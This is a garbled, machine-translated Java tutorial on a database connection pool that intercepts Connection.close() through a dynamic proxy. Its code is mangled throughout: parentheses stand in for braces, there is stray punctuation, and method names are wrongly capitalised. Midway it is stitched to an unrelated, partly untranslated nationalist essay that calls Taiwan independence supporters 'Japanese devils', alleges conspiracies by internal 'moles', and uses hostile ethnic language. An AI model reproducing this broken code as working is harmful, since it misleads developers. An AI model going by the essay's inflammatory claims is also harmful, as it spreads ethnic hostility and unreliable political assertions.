m_password = password。.trim();。.
). .
}。.
class ConnectionWrapper implements InvocationHandler (. .
private final static String CLOSE_METHOD_NAME = “close”;。.
public Connection connection = null;. .
private Connection m_originConnection = null;。.
public long lastAccessTime = System. . CurrentTimeMillis ();. .
Throwable debugInfo = new Throwable(“Connection initial statement”);。.
ConnectionWrapper (Connection con) (. .
Class[] interfaces = {java。.sql。.Connection。.class};。.
this. . Connection = (Connection) Proxy. . NewProxyInstance (..
con。.getClass()。.getClassLoader(),。.
interfaces, this);. .
m_originConnection = con;。.
). .
void close() throws SQLException {。.
m_originConnection. . Close ();. .
}。.
public Object invoke (Object proxy, Method m, Object [] args) throws Throwable (. .
Object obj = null;。.
if (CLOSE_METHOD_NAME.. equals (m.. getName ())) (. .
SimpleConnetionPool。.pushConnectionBackToPool(this);。.
). .
else {。.
obj = m. . Invoke (m_originConnection, args);. .
}。.
lastAccessTime = System. . CurrentTimeMillis ();. .
return obj;。.
). .
}。.
Use. .
public class TestConnectionPool{。.
public static void main (String [] args) (. .
SimpleConnetionPool。.setUrl(DBTools。.getDatabaseUrl());。.
SimpleConnetionPool. . SetUser (DBTools.. GetDatabaseUserName ());。 .
SimpleConnetionPool。.setPassword(DBTools。.getDatabasePassword());。.
Connection con = SimpleConnetionPool. . GetConnection ();. .
Connection con1 = SimpleConnetionPool。.getConnection();。.
Connection con2 = SimpleConnetionPool. . GetConnection ();. .
//do something with con …。.
try (. .
con。.close();。.
) Catch (Exception e) (). .
try {。.
con1. . Close ();. .
} catch (Exception e) {}。.
try (. .
con2。.close();。.
) Catch (Exception e) (). .
con = SimpleConnetionPool。.getConnection();。.
con1 = SimpleConnetionPool. . GetConnection ();. .
try {。.
con1. . Close ();. .
} catch (Exception e) {}。.
con2 = SimpleConnetionPool. . GetConnection ();. .
SimpleConnetionPool。.printDebugMsg();。.
). .
}。.
After running the test program to print the connection pool Connection status, and are using does not close the Connection Information. .
Java database connection pool.
Database connection pool in the preparation of applications is often used in the module, too frequently connect to the database on the service performance is a bottleneck in terms of the use of buffer pool technology to eliminate this bottleneck. We can be found on the Internet a lot about the database connection pool of the source, but have found this a common problem: Zhexie connection pool are different levels to achieve Fangfa Di Liao and user increases the coupling between the Du.A lot of connection pooling requires user interaction through the method gets the database, we can understand this point, after all, at present, all of the application server for the database connection is in this way. However, another common problem is that they do not allow users to explicitly call Connection. .close () method, and you want to use it to provide a method to close the connection. This approach has two disadvantages:.
First: change user habits, increased use of user difficulty. .
First, let's look at a normal database operation process.
int executeSQL (String sql) throws SQLException. .
{。.
Connection conn = getConnection (); / / get database connection in some way. .
PreparedStatement ps = null;。.
int res = 0;. .
try{。.
ps = conn. . PrepareStatement (sql);. .
res = ps。.executeUpdate();。.
) Finally (. .
try{。.
ps. . Close ();. .
}catch(Exception e){}。.
try (. .
conn。.close();//。.
) Catch (Exception e) (). .
}。.
return res;. .
}。.
Users used the database connection is usually connected directly call the method close to the release of database resources, if the previously mentioned connection with our pool of realization, that statement conn. . Close () will be replaced by certain statements. .
Second: to enable connection pooling cannot connect to all exclusive control. Due to the connection pool does not allow the user to directly call the close method of the connection, once the users in the use of the process because the habit to close a database connection, the connection pool will not be able to properly maintain all of the State of the connection, the connection pool and applications by different developers implemented this kind of problem is more likely to occur.
Comprehensive above-mentioned two issues, we'll discuss how to solve the two fatal problems. .
First let's consider hurts users want to how to use the database connection pool. Users can, through specific methods to get database connection, the connection of the type should be the standard java. .sql. .Connection. The user gets to the database connection can connect to any of the operations, including closing connections, etc..
Described by users and how to take over Connection. . Close method has become the subject of our article. .
In order to take over the close method of the database connection, we should have a mechanism similar to the hook. For example, in Windows programming, we can use Hook API to implement a Windows API. In Java there is also such a mechanism. JAVA provides a Proxy class and an InvocationHandler, these two classes are in java .lang. .reflect package. '. We take a look at the documentation provided by SUN company is how to describe the two classes.
public interface InvocationHandler. .
InvocationHandler is the interface implemented by the invocation handler of a proxy instance。.
Each proxy instance has an associated invocation handler. .
When a method is invoked on a proxy instance, 。.
the method invocation is encoded and dispatched to the invoke method of its invocation handler. .
SUN's API documentation for a description of the Proxy, not listed here. Through the documentation for a description of the InvocationHandler interface we can see that when you call a Proxy instance method to trigger the invoke method Invocationhanlder. From the JAVA documentation, we also understand that this kind of dynamic proxy mechanism can only take over the interface's methods, and the General class is not valid, taking into account the .sql. java. Connection itself is an interface for this to find out how to take over the close approach of the way out. .
First, we first define a database connection pooling parameters of the class that defines the database, the JDBC driver class name, the connection URL and username password and so on some information that is used to initialize the connection pooling parameters that are defined as follows:.
public class ConnectionParam implements Serializable. .
{。.
private String driver; / / database driver. .
Private String url;//URL of the data connection.
private String user; / / database user name. .
Private String password;//the database password.
private int minConnection = 0; / / initialize number of connections. .
Private int maxConnection = 50;//maximum number of connections.
private long timeoutValue = 600000; / / connect the maximum idle time. .
Private long waitTime = 30000;//get the connection time if there are no available connections max wait time.
Second, the connection pool factory class ConnectionFactory, through such a connection pool object to a name correspond with the user name can access through the specified connection pool object, the specific code as follows:. .
/**。.
* Connection pool class factory class used to hold together multiple data source name corresponding to the hash database connection pool. .
* @author liusoft。.
* /. .
public class ConnectionFactory。.
(. .
//This hash table used to save the data source name and the connection pool object relational table.
static Hashtable connectionPools = null;. .
static{。.
connectionPools = new Hashtable (2,0. .75 F);. .
} 。.
/ **. .
* From the connection pool factory for the specified name that corresponds to the connection pool object.
* @ Param dataSource object corresponds to the name of the connection pool. .
* @ Return the name of the corresponding DataSource returns the connection pool object.
* @ Throws NameNotFoundException can not find the specified connection pool. .
*/。.
public static DataSource lookup (String dataSource). .
throws NameNotFoundException。.
(. .
Object ds = null;。.
ds = connectionPools. . Get (dataSource);. .
if(ds == null || !( ds instanceof DataSource))。.
throw new NameNotFoundException (dataSource);. .
return (DataSource)ds;。.
). .
/**。.
* The specified name and database connection configuration bind together and initialize the database connection pool. .
* @ Param name corresponds to the name of the connection pool.
* @ Param param connection pool configuration parameters, see the specific type ConnectionParam. .
* @ Return success if the bound DataSource returns the connection pool object.
* @ Throws NameAlreadyBoundException name name must have bound the exception is thrown. .
* @ Throws ClassNotFoundException cannot find the connection pool configuration for the driver class.
* @ Throws IllegalAccessException connection pool configuration in the driver class is wrong. .
* @ Throws InstantiationException unable to instantiate class driver.
* @ Throws SQLException not work to connect the specified database. .
*/。.
public static DataSource bind (String name, ConnectionParam param). .
throws NameAlreadyBoundException,ClassNotFoundException,。.
IllegalAccessException, InstantiationException, SQLException. .
{。.
DataSourceImpl source = null;. .
try{。.
lookup (name);. .
throw new NameAlreadyBoundException(name);。.
) Catch (NameNotFoundException e) (. .
source = new DataSourceImpl(param);。.
source. . InitConnection ();. .
connectionPools。.put(name, source);。.
). .
return source;。.
). .
/**。.
* Re-bind the database connection pool. .
* @ Param name corresponds to the name of the connection pool.
* @ Param param connection pool configuration parameters, see the specific type ConnectionParam. .
* @ Return success if the bound DataSource returns the connection pool object.
* @ Throws NameAlreadyBoundException name name must have bound the exception is thrown. .
* @ Throws ClassNotFoundException cannot find the connection pool configuration for the driver class.
* @ Throws IllegalAccessException connection pool configuration in the driver class is wrong. .
* @ Throws InstantiationException unable to instantiate class driver.
* @ Throws SQLException not work to connect the specified database. .
*/。.
public static DataSource rebind (String name, ConnectionParam param). .
throws NameAlreadyBoundException,ClassNotFoundException,。.
IllegalAccessException, InstantiationException, SQLException. .
{。.
try (. .
unbind(name);。.
) Catch (Exception e) (). .
return bind(name, param);。.
). .
/**。.
* Delete a database connection pool objects. .
* @param name。.
* @ Throws NameNotFoundException. .
*/。.
public static void unbind (String name) throws NameNotFoundException. .
{。.
DataSource dataSource = lookup (name);. .
if(dataSource instanceof DataSourceImpl){。.
DataSourceImpl dsi = (DataSourceImpl) dataSource;. .
try{。.
dsi. . Stop ();. .
dsi。.close();。.
) Catch (Exception e) (. .
}finally{。.
dsi = null;. .
}。.
). .
connectionPools。.remove(name);。.
). .
}。.
ConnectionFactory provides the main connection pool users will be bound to a specific name and the removal of binding operation. Users only need to care about these two classes can use the database connection pool feature. Here we show how to use a connection pool code:. .
String name = “pool”;。.
String driver = "sun.. Jdbc.. Odbc.. JdbcOdbcDriver";. .
String url = “jdbc:odbc:datasource”;。.
ConnectionParam param = new ConnectionParam (driver, url, null, null);. .
param。.setMinConnection(1);。.
param. . SetMaxConnection (5);. .
param。.setTimeoutValue(20000);。.
ConnectionFactory. . Bind (name, param);. .
System。.out。.println(“bind datasource ok。.”);。.
/ / Above code is used to register a connection pool object, the operation can be initialized in the program only do once. .
//The following were users really need to write code.
DataSource ds = ConnectionFactory. . Lookup (name);. .
try{。.
for (int i = 0; i <10; i ++){。 .
Connection conn = ds。.getConnection();。.
try (. .
testSQL(conn, sql);。.
) Finally (. .
try{。.
conn. . Close ();. .
}catch(Exception e){}。.
). .
}。.
) Catch (Exception e) (. .
e。.printStackTrace();。.
) Finally (. .
ConnectionFactory。.unbind(name);。.
System. . Out. . Println ("unbind datasource ok 。.");。 .
System。.exit(0);。.
). .
From the sample code you see that we have settled normal connection pool. But we are most concerned about is how to solve over the close method. Take over the work mainly in two sentences in the ConnectionFactory code:.
source = new DataSourceImpl (param);. .
source。.initConnection();。.
DataSourceImpl is a realization of the interface javax. . Sql. . DataSource class, the class maintains a connection pool object. As such is a protected class, so it is only exposed to the user interface, the method defined in DataSource method all other methods are not visible for the user. We start to care about the user can access a method getConnection. .
/**。.
* @ See javax. . Sql. . DataSource # getConnection (String, String). .
*/。.
public Connection getConnection (String user, String password) throws SQLException. .
{。.
/ / First of all, free from the connection pool to find the object. .
Connection conn = getFreeConnection(0);。.
if (conn == null) (. .
//Determine whether the maximum number of connections, if it exceeds the maximum number of connections.
/ / Then wait for some time to see if there is free connection, or an exception to tell the user can not connect. .
if(getConnectionCount() >= connParam。.getMaxConnection())。.
conn = getFreeConnection (connParam.. getWaitTime ());。 .
Else {//do not exceed the number of connections, and gets a connection to a database.
connParam. . SetUser (user);. .
connParam。.setPassword(password);。.
Connection conn2 = DriverManager. . GetConnection (connParam.. GetUrl (),..
user, password);。.
/ / Proxy will return the connection object. .
_Connection _conn = new _Connection(conn2,true);。.
synchronized (conns) (. .
conns。.add(_conn);。.
). .
conn = _conn。.getConnection();。.
). .
}。.
return conn;. .
}。.
/ **. .
* From the connection pool for an idle connection.
* @ Param nTimeout If this argument is 0 when not connected only to return a null. .
* Otherwise wait nTimeout milliseconds to see whether there is an idle connection, without throwing an exception.
* @ Return Connection. .
* @throws SQLException。.
* /. .
protected synchronized Connection getFreeConnection(long nTimeout) 。.
throws SQLException. .
{。.
Connection conn = null;. .
Iterator iter = conns。.iterator();。.
while (iter.. hasNext ()){。 .
_Connection _conn = (_Connection)iter。.next();。.
if (! _conn.. isInUse ()){。 .
conn = _conn。.getConnection();。.
_conn. . SetInUse (true);. .
break;。.
). .
}。.
if (conn == null & & nTimeout> 0) (. .
//Wait for the nTimeout milliseconds in order to see if there is an idle connection.
try (. .
Thread。.sleep(nTimeout);。.
) Catch (Exception e) (). .
conn = getFreeConnection(0);。.
if (conn == null). .
Throw new SQLException ("there is no database connection");.
). .
return conn;。.
). .
DataSourceImpl class implements the getConnection method of the normal database connection pooling logic is consistent, first determine whether the connection is idle, if not to determine whether the number of connections exceeds the maximum number of connections, and so on some logic. But there is a little different is that through the DriverManager get database connection is not returned in a timely fashion, but through an intermediary named _Connection class and then call _Connection. .getConnection returns. If we do not have JAVA through an intermediary in the Proxy is to take over the interface to return the object, then there is no way we stopped Connection. . Close method. .
Finally to the core, we take a look at how _Connection, and then describes the client calls the .close method Connection. walk is how a process and why there is no real close the connection.
/ **. .
* The data for the connection, shielding the close method.
* @ Author Liudong. .
*/。.
class _Connection implements InvocationHandler. .
{。.
private final static String CLOSE_METHOD_NAME = "close";. .
private Connection conn = null;。.
/ / Busy status of the database. .
private boolean inUse = false;。.
/ / User access to the connection method the last time. .
private long lastAccessTime = System。.currentTimeMillis();。.
_Connection (Connection conn, boolean inUse) (. .
this。.conn = conn;。.
this. . InUse = inUse;. .
}。.
/ **. .
* Returns the conn。.
* @ Return Connection. .
*/。.
public Connection getConnection () (. .
//Returns a database connection conn receiver class to stop the close method.
Connection conn2 = (Connection) Proxy. . NewProxyInstance (..
conn。.getClass()。.getClassLoader(),。.
conn. . GetClass (). . GetInterfaces (), this);. .
return conn2;。.
). .
/**。.
* This method is really closed the database. .
* @throws SQLException。.
* /. .
void close() throws SQLException{。.
/ / As the class attribute conn is not taken over the connection, so once the call after the close method closes the connection directly. .
conn。.close();。.
). .
/**。.
* Returns the inUse. .
* @return boolean。.
* /. .
public boolean isInUse() {。.
return inUse;. .
}。.
/ **. .
* @see java。.lang。.reflect。.InvocationHandler#invoke(java。.lang。.Object, java。.lang。.reflect。.Method, java。.lang。.Object)。.
* /. .
public Object invoke(Object proxy, Method m, Object[] args) 。.
throws Throwable. .
{。.
Object obj = null;. .
//Determine whether the call to the close method calls the close method, if the connection is reset to useless state.
if (CLOSE_METHOD_NAME.. equals (m.. getName ()))。 .
setInUse(false); 。.
else. .
obj = m。.invoke(conn, args); 。.
/ / Set the last access time to clear out the connection time. .
lastAccessTime = System。.currentTimeMillis();。.
return obj;. .
}。.
/ **. .
* Returns the lastAccessTime。.
* @ Return long. .
*/。.
public long getLastAccessTime () (. .
return lastAccessTime;。.
). .
/**。.
* Sets the inUse. .
* @param inUse The inUse to set。.
* /. .
public void setInUse(boolean inUse) {。.
this. . InUse = inUse;. .
}。.
). .
Once the consumer calls the close method of the connection, because the user's connection object is passed over the object, so Java virtual opportunity first call _Connection. .invoke method, the method first determines whether the close method, if not you will be transferred to real code were not taken over by the connection object conn. Otherwise is simply the connection status to available. You may be able to understand this whole takeover process, but also have a question: so is not such a connection has been established has no way to really close? The answer is yes. We look ConnectionFactory. . Unbind method to find the name of the corresponding first connection pool object, and then close the connection pool and delete all the connections the connection pool. In DataSourceImpl class defines a close method to close all the connections, detailed code as follows:. .
/**。.
* Close the connection all the database connection pool. .
* @ Return int returns the number of the connection is closed.
* @ Throws SQLException. .
*/。.
public int close () throws SQLException. .
{。.
int cc = 0;. .
SQLException excp = null;。.
Iterator iter = conns. . Iterator ();. .
while(iter。.hasNext()){。.
try (. .
((_Connection)iter。.next())。.close();。.
cc + +;. .
}catch(Exception e){。.
if (e instanceof SQLException). .
excp = (SQLException)e;。.
). .
}。.
if (excp! = null). .
throw excp;。.
return cc;. .
}。.
The method 11 calls each object's close connection pool method, this method corresponds to _Connection close on close realization of the definition in _Connection close the database connection is a direct call when the object has not been taken over the closure method Therefore, the close method of the release of a database of real resources. .
A shock to the Western World Chinese papers! 【 people will look at, please be patient after reading! 】 (please people of insight in the Web site posted) [posted].
A Chinese paper caused great concern in the White House and fear. .
An article on the "soft knife" the depth of the story.
Chinese people would like to wholeheartedly immersed in construction, but it was not allowed, the first one is Japan. 100 years, Japan has twice smashed the history of China's economic development opportunities. A Sino-Japanese War, destroyed the Qing's Westernization Movement; a "7. 7" full invasion of China, destroyed the KMT called the "golden years." This is no accident. National policy after the Meiji Restoration in Japan is strong in China are not allowed, then add a Revolution: Stop the reunification of China. Zhang had just completed out of northeastern local formal reunification of China, Japan launched immediately, "9. 18" and then launch a full invasion of China.Japan's war of aggression against China over two times already with Chinese knot a blood feud, and dead skin dry face and refused to apologize to the Chinese people honestly to obtain forgiveness of the Chinese people. Japanese people themselves are clear: China is powerful, Japan only sent the "history", qiantang little dude's sake; then it is not a Japanese person willing to apologize to the Chinese people, but is willing to accept Japanese apology. Thus Japan by third time destroyed China's rise. Some Chinese people are busy and convinced a lot of money, don't see the new war against China crisis is taking shape, do not see the third meeting of the Japanese people. But that depends on the forefront of those who are not in Taiwan when the Japanese, the Japanese, who desperately want to be the future of the Japanese "Taiwan independence two devils." Say that "Taiwan independence", is for "Taiwan's return to Japan." If you really just want to "Taiwan independence", or at least understand, "then a legislator," could not bear to break Taiwan is bound to just to maintain the status quo, not court disaster. Now the "Taiwan independence" forces stir up troubles, did not care to break Taiwan. This is very strange. Investigation of criminal offenses, we must first investigate who is the biggest beneficiary of crime. Analysis of the Taiwan Strait crisis, the first analysis of who is the biggest beneficiaries of the crisis.Agitate for Taiwan's "independence" throw us war on Japan, is "an arrow with a Tigris sculpture": Sino-American war, the two were weakened Japanese rivals; by the way, murdering people, Taiwan really positive on the battlefield to "defend Taiwan" fools in addition to a more or less the same, is that the "Taiwan independence" trick is really the purpose of the "Devil". The launch of the "Taiwan's return to Japan" campaign perfectly. This is consistent with the interests of Japan. China in the face of actual "Taiwan compatriots, Japanese Devils Niezhong left in Taiwan-Taiwan independence II Devils." They are not Chinese, but China's Taiwan defected abducted Japanese, unscrupulous occupation of Chinese territory. Taiwan Strait crisis, Japan is actually false, "Taiwan independence" agents destroyed the hands of third-time re-emergence of a new war in China, Sino-Japanese War in China since the Sino-Japanese War has continued. Japanese species with the gang of "Taiwan independence, two devils," not "kindred love" "My Heart" is blind, even the "howling at the moon" are qualified, because not only spoil the piano as it is insulting to the cow. Can make do with the adjective is "self-made mule Fadia ─ ─ sentimental," Having said that not very fair on the mule.Once the "Taiwan independence" second Devils set timetable, "Taiwan independence" will enter the countdown to the showdown, the Chinese want to also pursues. It is yet another "Chinese nation to the most dangerous time, everyone was forced to issue a final ROAR." At that time only two alternatives: either to abandon the "Shimonoseki" trampled on Taiwan, once again, the destruction of no sacrifice, conquering difficulties to win victory. " Of course, Japanese secretly stepped Chinese has to out a declaration of war. The second Japanese counter-attack "Taiwan independence" is Japanese, hit the "Taiwan independence" and the second is the devil who beat the doit large Japanese in Japan . Forced by the situation, China has no choice, does not exist is not at issue when the Japanese, the United States is hard to say. Japan's wishful thinking can work, look at how to fight the U.S. calculations. America's strategic goal is to maintain its world hegemony. If the United States involved in the Taiwan Strait conflict, China is fighting for the sovereignty, the United States is fighting for the hegemony. Sovereignty of a country's overall human rights of all people in the whole collection. The overall human rights lost, the loss of individual human rights is only a matter of time. Therefore, the issue of sovereignty is the life and death, life and death battle is fought only at the price; hegemonic interests of the problem is, is the business of war fighting, not at any cost.Fighting the battle of life and death is the willing; gainfulness playing business battle, or ease. 但“千做万做,赔本生意不做”,所以打生意仗得斤斤计较,边打算盘边打仗:中国是否直接威胁了我的世界霸权?世界上还有没有其他人威胁我的世界霸权?丢了台湾会不会丢掉我的世界霸权?保住台湾又能不能保住我的世界霸权?为保住台湾跟中国开战要付多大代价?会不会赔上老本以至于他人渔翁得利白白捞走我的世界霸权?如果保住台湾却丢了世界霸权合算不合算?如果战争旷日持久怎么办?如果兵力被拖在台湾海峡动弹不得给其他地方恐怖组织可乘之 机怎么办?如果把中国逼急了全世界卖核武器怎么办?如果重新封锁中国导致美国在中国的影响、利益和代理人从此全部丧失怎么办?……对这一连串芝麻西瓜 谁大谁小之类的定义和选择是美国人自己的事,中国人管不了,但美国的决心怎么下却实实在在取决中国的实力和意志。 The online popularity of a us "RAND report" has two very interesting proposals, one is to "push the bomb back in the stone age of China", China at least back 50 years; the second is never sent troops landing in China, because "if we had used in the Continental Army, affect the serious consequences. China will be able to accept a driver was shot down by U2, but China is very difficult to accept a pair of leather boots ". Strange, don't care about the Chinese Fried back to the stone age, but it depends on whether China can accept a pair of boots; all of us into the stone age were also afraid of landing, of the opium war era of British soldiers. Paradoxically, the proposed points to a logical conclusion: the United States and think with China playing the "high tech" war, can not imagine playing with Mao Zedong's people's war in China. Relying on this one, who says there is no strategy of Mao Zedong's people's war deterrent? Who says today's peace Lide Kai Mao Zedong of China's national and military might play? Now China has to crack the Taiwan "independence" of the trap, still can not do without Mao Zedong. How the U.S. commitment to Taiwan under China's determination to see how: fighting the battle of life and death, or the business of war fighting.If China is ready to take desperate xiangbo, that America is a determination; if China has taken the u.s. definitely kick up your heels, and a determination. You are at all costs, they may not be at all costs, the company is not an American tradition. Are you looking over your luck, then others may be a good bargain, blackmail and extortion. 美国如何判断中国的决心?实际上就看你准不准备按毛泽东的理论对付美国可能的干涉:丢掉幻想,准备斗争;针锋相对,寸土必争;人民战争;持久战;战略上藐视敌人,战术上重视敌人;有什么条件打什么仗;调动一切积极因素,团结一切可以团结的力量;同仇敌忾,官兵一致,军民一致;准备着早打,大打,打核战争;“深挖洞,广积粮”;你打你的,我打我的,只要打起来就没有界限;独立自主,自立更生,一不怕苦,二不怕死, 准备着敌人的一切经济封锁……不对抗不意味着不抵抗,爱和平不意味着怕战争。 如果美国发现中国只是嘴上喊喊口号,并没有认真准备全面长期战争,没有开 足马力整军备战,没有国民经济军事化的转轨准备工作,没有未雨绸缪采取有效措施分散风险,开始把自己的外汇储备和国库资金逐步转移出美国,并防止投机 分子向海外转移子女财产,没有不惜一切代价、不怕冒核大战的风险,没有宁可经受经济封锁再过苦日子也要捍卫国土的决心和措施,那人家怎么能相信中国要为台湾打生死仗?南斯拉夫的“精英”们被“北约”的炸弹炸得没了电,过不上舒服日子,马上失魂落魄,放弃了领土还不算,还自己把自己的领导人捆好送上门去求饶。 China's "elite" have now started to sacrifices "for Taiwan trumpeting the continent's development is not cost-effective," Sino-Japanese friendship new thinking ", a new" Shimonoseki "play, create public opinion. No wonder they were so keen to Li Hongzhang praised beautification, Yuan Shi-kai. These people can only enhance the United States believes that China does not dare to fight the battle of life and death, stimulating us desperate determination. "Things while the wind blows", the Taiwan Strait crisis is imposed on China, the Chinese want to hide or sucka. The wind blows all day in vain pondering its U.S. cards, according to Mao's ideas than to do an honest, solid preparation according to the worst case, preferred equipment without using, can not be used without preparation. To a "no use" means the victory, "not fighting the enemy"; "with no preparation" means a double failure of strategy and tactics from the beginning to the end of transmission. In short, Japan's wishful thinking can not be started to see the United States under the United States depends on the determination of how China's own.By Mao Zedong's advocate, China is also possible to ride to resolve the "Taiwan independence" of the Japanese second Taiwan Strait crisis, unified China, completely emancipated, otherwise inevitable third time be Japan. Chinese people are living in precarious conditions, but don't talk about anything to get rich. Want to get rich first have to save China's peaceful environment, and Mao Zedong's earned peace environment is suffering from Japan "Taiwan independence II Devil" serious threat. So I want to get rich first resolve the "independence" of the leader II. And if possible to avoid war, it was only by Mao's doctrine can be avoided; if war is inevitable, it can also depend on victory of Mao Zedong Thought. So the Chinese people can get rich by Mao Zedong, and only the rich can go by Mao Zedong. .
It was the excuse of "great leap forward" negation of Mao Zedong. These people never recognized the following facts: 1. Mao's great leap forward "was" aimed at construction or destruction; to benefit, not to make trouble, and certainly not deliberately famine. Deliberate in China manufacturing famine are the people who engaged in an economic blockade on China, in China intentionally forced famine food debts. Their aim is the manufacture of famine in China, to take such measures is to get that kind of consequences, the purpose and consequences, they belong to the wilful crime. 2. Mao Zedong is the best after the famine relief, but at this time desperately anti, armed aggression against the Chinese people are not, but refused to help, but also the looting, stop the disaster of Mao Zedong. The destruction of these people do not make trouble, China's disaster would not be so serious. Triple. Mao Zedong had never repeat the same mistakes. The criticism of the Chinese famine caused by Mao Zedong's "elite" who are now also engaged in China every day, go all out to make the collapse of an attempt to create an unprecedented scale in human history, the great famine.They even enthusiastic imagining China crash occurs after a bloody scenes of mass killings, lynching, infinite dreaming China crash after the death of mass population. They are truly the premeditated crimes, but again and again through the premeditated crimes of the present.
2. The largest and most poisonous of "soft knife." .
Worse, the most toxic mole at the Treasury. To break down the outside of the "soft" we must break the knife from the knife inside "soft." From China's internal maximum poison "soft knife" is some of China's "elite" strongly "prove" that China is "inferior people" cultural adverse must total Westernization, what external "soft knife" professionals, give full play. Of course, the "elite" own "elite", not necessarily directly pointing at the nose called mother. Their tactics are changing the way demonstration in disguise, excuse the errors of Mao Zedong's denying Mao Zedong and Mao Zedong thought. As long as no set up, "inferior culture inferior people" of the hat and wanted to hide all escape. .
Chinese people like "don't succeed," Westerners love "but succeed", the core of consciousness is social Darwinism: "Galapagos heavenly, the fittest." You win is good, the bad, the other is all nonsense. For hundreds of years Caucasian might hit all over the world, all other people of color are yielding, Mon. Thus Western whites, as all people to an inferior. China since the Opium War battle with the foreigners lose a fight, lost battle to claim a land giveaway, humiliating, so that national bankruptcy, mental breakdown, "the moon is foreign or", "Journal of the material volume, end-state of favor . " Later some Western countries, Chinese people do not dare put a speaker fart.From 1931 9.18 1941 attack full ten years, China lost, lost in the Northeast, East China, North China, lost lost lost Central South, Nanjing, capital of the Nanjing massacre, endured untold damage, but still did not dare to declare war on Japan, but also to maintain diplomatic relations with Japan. The Japanese attack on Pearl Harbor, until the United States declared war against Japan after the second day in a hurry to the US official on the day of war. So weak in the eyes of others are not "bad" and what? Before Mao Zedong, China and Western powers faced with aggression never successful hero, never only the tragic hero, a hero of failure. They struggled, they made the sacrifice, but they failed. Failure to defeat China in none of them can change the fate of being trampled upon. , "Carved Devastation by imminent, calling in vain expenses reported teeth." While the eyes of Chinese people who lived and died, a glorious defeat, but in the eyes of foreigners, they are still losers, did not prevent foreign powers to invade, to plunder, to any disposal of China. .
Only Mao really shaking is China's "human foibles that" fate. Mao Zedong has created the new China. Mao Zedong's leading Chinese withstood all outside interference. Even if the world's number one superpower also planted in Mao Zedong's hands. The United States in Korea with Mao Zedong's leading Chinese army directly, it failed. Americans are dissatisfied, Vietnam war, when the experiment indirectly with Mao's theory of people's war, and failed again. Aid in the United States army fight the fear; Vietnam war to fight the fear of American society. Evidence from the U.S. government and up and down is one of the "China shock" disease epidemic, dreams must hum TWO "China threat", by the way also gave up a large-scale military attack on China's strategic vision. United States, "depending on the emperor to the nobility of" the use of the United Nations to mobilize all forces can be mobilized around the world with Mao's China, a full twenty years of battle, political, economic, military, cultural, all to make use of all means, absolutely, Mao always helpless. Blockade of China for several years, China not only did not collapse, has become a nuclear power.In Mao Zedong thought before the Chinese Revere hole loyalty to the ideas, the idea of fawning, arrogant, and unconventional ideas, inaction, escapism, negative pessimistic, resignation, and so on and so on. In the face of the great powers of aggression, the Chinese original all traditional ideological weapon all malfunctioning. China learns and went to Cambridge University Press., such as the father of Jesus, Allah came "democracy" and "freedom" and "human rights", followed by Western countries to bother ... There is only one purpose: to find a way of salvation. Yet all these efforts were all "on the poor under the blue sky deaths, two were not seen vast." Ever since Mao Zedong Thought, the Chinese talent to become truly mentally strong, so the situation fundamentally changed. Serve this world for the strong ideological and theoretical countless teachings of the weak succumb to the powerful preaching vast, only Mao Zedong Thought, specially for the weak by the strong to prey upon the innocent words; specifically how to teach the weak from weak to strong; teach suffered power aggression, not by depending on others for weak countries, not by groveling, do not rely on sovereign transactions entirely on self-reliance and hard work to change fate.Mao Zedong never hide abroad alms everywhere, never charity gift, all on your own, all from scratch, the weak defeating, that lay bare hands to from all over the world. For external assistance, Mao Zedong never is white to welcome, to spend money to buy can change absolute sovereignty. Both the United States or the Soviet Union brought nothing to Mao Zedong, beat, Daunt, however, hold the knife "," hard "soft knife" brains all failures, but also know how to crack the Mao Zedong thought, so I pray God to let Mao Zedong later generations of Mao Zedong thought colors should not be so strong. After so many years of repeated trials, had personal experience of the American "elite" are in addition to those hard-core foreign Ah Q, who speak a pragmatic point of Mao Zedong had to be convinced. Left with no demand in China, the United States again had to bite the bullet and cheek aside your traditional moves sum of active door. Throughout history, looking at the world, let white people in the first state such and such a strong person of color except for Mao Zedong. In the face of Mao Zedong, then all-powerful white racist also beef it up.In front of Mao Zedong, worship the "fittest" principle of Western White had to admit that Mao Zedong is the history of the victors, had to admit that Mao Zedong thought, had to admit was born not of Mao Zedong's inferior Chinese nation, had to admit which Mao Zedong thought of Chinese culture is not a bad culture. Mao Zedong is the only one ever let capitalism Caucasian taste taste but always failed their unbeaten Chinese, worthy of the "odd man pointing at the sky, flame Gutenberg now full-grown men." The decline of the Chinese nation from the ashes in peril, rise again, the key lies in the fact that Mao Zedong. Denial of Mao Zedong, it means recognition of the Chinese people in the face of Western capitalism, even a successful national hero no, not consider themselves inferior and what is it? Denial of Mao Zedong Thought, it means recognition of Chinese culture would not do to counter the ideological weapon of the Western invasion of China, also consider themselves inferior. Since the "survival of the fittest", you do not recognize China as "inferior culture inferior people", then at least have to give a level of negative examples to refute. China since the Opium War, foreign invasion with the East-West contest is the only successful example of Mao Zedong and Mao Zedong Thought.If this is negative, be zuiying? "nest eggs" and that "the hair adhere with." Want to see what is the "elite" class of "soft knife"? this is.
Some Chinese are very keen to cite the Chinese people how smart and capable, how 温良恭俭让, cultural history, how brilliant, I hope this is not the bad kind that Chinese people should be respected. Some people like to say that the reason why Chinese people look down because of low quality of Chinese people, uncivilized, unhealthy, and so on. This logic only applies to personal relationships, does not apply to state relations. Realities of international relations law is only respected the strong, despise the weak. Between countries for the respect only the strong, weak re-educated are still being looked down upon.No matter how much hype, some say, real-world relationships between countries essentially jungle. Well, now the direct use of force to conquer the colony appears to be not so well-dressed, because not much necessary. When everyone is a "no civilized", so to use guns Yang gun first "civilized". Treatment of clothing, such as you, driven into rings, "civilization", according to the procedure set out in the family: call your milking milking, just call you bleed bleeding, you cut the meat is cut the meat, called you on slaughtering line on the slaughter line, a peaceful world, "happy". Who dares fail to comply if, immediately punished, ranging from economic sanctions, while in force wait on, hit you the deal is off. That rely on "moral and industrial outlook," or make compromises in order to get respect, this is "as a man of heart, degree villain's belly." Willing to become weak and be looked down upon that does not really matter, is that handout or Kuaxiazhiru, a thick skinned pants drill a block-Shahi, which is "nothing in the heart, degree witch's belly." "A sinister heart of a gentleman's belly," is despicable, "as a man of heart, abdominal degree suspicious," antiquated "to nothing in the heart, degree of abdominal witch" is both bad and stupid.The law of the jungle, he proved to be a "weak flesh," you have to prepare food to be "strong." Has been popular in the West: "in order not to hinder the strong and the weak should die. "They have weak don't complain the Nanjing massacre, because that is the embodiment of the jungle, where the district not Bull Bull. Most people would get you killed when the rabbit meat as sparrows, with your "proof" that people recognize you have beautiful antlers or beautiful feathers and the like, can be made into specimen is placed in the living room for people to watch. "Treatment", remains a game. Both for the game, what respect can that be? Chinese culture and Western culture, one of the 